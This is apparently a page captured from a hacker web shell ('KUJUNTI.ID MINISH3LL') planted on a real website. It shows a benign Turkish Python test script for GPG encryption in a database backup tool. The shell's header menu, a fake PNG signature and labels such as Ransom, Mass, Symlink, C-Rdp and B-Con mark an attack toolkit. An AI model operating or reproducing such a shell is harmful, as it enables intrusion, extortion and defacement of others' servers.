\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv8/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv8/test_gpg_dir.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
YedekleDB24 için GPG dizini test scripti.
"""

import os
import sys
import tempfile
import gnupg
import logging
from pathlib import Path
from dotenv import load_dotenv

# .env dosyasını yükle
load_dotenv()

# Logging yapılandırması
logging.basicConfig(level=logging.INFO,
                   format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

def test_gpg_dir():
    """
    GPG dizinini test eder ve anahtarların doğru yerde oluşturulup oluşturulmadığını kontrol eder.
    """
    # GPG_HOME_DIR değişkenini kontrol et
    gpg_home_dir = os.environ.get('GPG_HOME_DIR')
    if not gpg_home_dir:
        logger.warning("GPG_HOME_DIR çevre değişkeni ayarlanmamış, varsayılan konum kullanılacak.")
        gpg_home_dir = os.path.dirname(os.path.abspath(__file__))
    
    # GPG anahtarları için dizin oluştur
    gpg_keys_dir = os.path.join(gpg_home_dir, 'gpg_keys')
    os.makedirs(gpg_keys_dir, exist_ok=True)
    
    logger.info(f"Kullanılan GPG dizini: {gpg_keys_dir}")
    
    # GnuPG nesnesi oluştur
    gpg = gnupg.GPG(homedir=gpg_keys_dir)
    # İzin uyarılarını görmezden gel
    try:
        gpg.ignore_homedir_permissions = True
    except:
        pass  # Eski sürümlerde bu özellik olmayabilir
    
    # Geçici bir anahtar oluştur
    key_params = {
        'key_type': 'RSA',
        'key_length': 1024,
        'name_real': 'Test User',
        'name_email': 'test@example.com',
        'passphrase': 'testpass'
    }
    
    try:
        # Anahtar üret
        input_data = gpg.gen_key_input(**key_params)
        key = gpg.gen_key(input_data)
        
        if key:
            logger.info(f"Test anahtarı başarıyla oluşturuldu: {key.fingerprint}")
            
            # Dizindeki dosyaları listele
            logger.info(f"GPG dizini içeriği:")
            for item in Path(gpg_keys_dir).glob('*'):
                logger.info(f"  {item.name}")
            
            # Test dosyası oluştur
            test_file = os.path.join(tempfile.gettempdir(), "test_gpg_file.txt")
            with open(test_file, "w") as f:
                f.write("Bu bir test dosyasıdır. GPG şifreleme testi.")
            
            # Dosyayı şifrele
            encrypted_file = os.path.join(tempfile.gettempdir(), "test_gpg_file.txt.gpg")
            with open(test_file, 'rb') as f:
                content = f.read()
            # Simetrik şifreleme kullan (anahtar belirtme olmadan sadece şifre ile)
            status = gpg.encrypt(content, None, symmetric=True, passphrase=key_params['passphrase'])
            if status.ok:
                with open(encrypted_file, 'wb') as f:
                    f.write(status.data)
            
            if status.ok:
                logger.info(f"Dosya başarıyla şifrelendi: {encrypted_file}")
                
                # Dosyayı çöz
                decrypted_file = os.path.join(tempfile.gettempdir(), "test_gpg_file_decrypted.txt")
                with open(encrypted_file, 'rb') as f:
                    encrypted_data = f.read()
                status = gpg.decrypt(encrypted_data, passphrase=key_params['passphrase'])
                if status.ok:
                    with open(decrypted_file, 'wb') as f:
                        f.write(status.data)
                
                if status.ok:
                    logger.info(f"Dosya şifresi başarıyla çözüldü: {decrypted_file}")
                    logger.info("GPG şifreleme testi BAŞARILI!")
                    return True
                else:
                    logger.error(f"Dosya şifre çözme hatası: {status.status}")
                    logger.error(f"Hata detayı: {status.stderr if hasattr(status, 'stderr') else 'Bilinmiyor'}")
            else:
                logger.error(f"Dosya şifreleme hatası: {status.status}")
                logger.error(f"Hata detayı: {status.stderr if hasattr(status, 'stderr') else 'Bilinmiyor'}")
        else:
            logger.error("Test anahtarı oluşturulamadı.")
        
        return False
        
    except Exception as e:
        logger.error(f"GPG testi sırasında hata: {str(e)}")
        return False
    finally:
        # Temizlik
        for temp_file in [f"{tempfile.gettempdir()}/test_gpg_file.txt", 
                         f"{tempfile.gettempdir()}/test_gpg_file.txt.gpg",
                         f"{tempfile.gettempdir()}/test_gpg_file_decrypted.txt"]:
            if os.path.exists(temp_file):
                os.remove(temp_file)

def main():
    """Ana fonksiyon"""
    logger.info("GPG dizini testi başlatılıyor...")
    
    if test_gpg_dir():
        logger.info("Test BAŞARILI!")
        sys.exit(0)
    else:
        logger.error("Test BAŞARISIZ!")
        sys.exit(1)

if __name__ == "__main__":
    main()

© KUJUNTI.ID